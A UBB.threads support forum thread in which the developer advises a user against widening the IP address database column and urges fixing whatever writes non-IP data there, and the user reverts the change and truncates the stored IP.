Although there is already IP address sanitation built in to current and prior versions of UBB.threads, there has been further IP address sanitation built in for version 7.7.2, but as you've posted earlier, you increased the size of your user IP address storage table from VARCHAR(46) to VARCHAR(111), which may potentially cause issues in key locations of the UBB.threads software, and could also cause security related issues due to the you now allowing more non-IP address data to be stored an IP address table. We have not instructed that you do that.

If non-IP address are attempting the be written in to an IP-address-only field, its best to deal with whats allowing that, rather than to just accept it what the attacker wants to do and making him feel welcomed by increasing the field size for him. :/

Last edited by isaac; 06/08/2019 12:29 AM. Reason: added more content

Current developer of UBB.threads PHP Forum Software // 7.7.3 released!
isaac @ id242.com // my forum @ CelicaHobby.com
Re: 7.7.1 /libs/html.inc.php Data too long [Re: BlackMale] #262765 06/08/2019 12:51 AM
Joined: Apr 2019
Posts: 44
BlackMale Offline OP
Newbie
OP Offline
Newbie
Joined: Apr 2019
Posts: 44
Thank very much for your help.

now set VARCHAR(46)
and add $user_ip = mb_substr(fetch_ip(), 0, 40, "utf-8");

Is there a way to filter it in IP here?


Forum Search
ShoutChat Box
Comment Guidelines: Do post respectful and insightful comments. Don't flame, hate, spam.
Recent Topics
Search feature encountering an Error message
by jorb - 11/20/2019 12:06 AM
Followed List v7.7.2 Question
by Ruben - 11/12/2019 12:22 PM
UBB Dev
by JAISP - 11/03/2019 11:01 AM
Exceeded Number of attachments
by rbrtgrmn - 11/02/2019 9:57 PM
Forum New User Registration
by kf6zpl - 10/25/2019 10:45 AM
Who's Online Now
3 registered members (isaac, JAISP, jorb), 53 guests, and 361 spiders.
Key: Admin, Global Mod, Mod
Random Gallery Image
Latest Gallery Images
Artistic structures
Artistic structures
by isaac, August 29
Stones
Stones
by isaac, August 19
Amusing Terain Scenics
Amusing Terain Scenics
by isaac, August 19
Sky places
Sky places
by isaac, August 19
Powered by UBB.threads™ PHP Forum Software 7.7.4
(Snapshot build 20191023)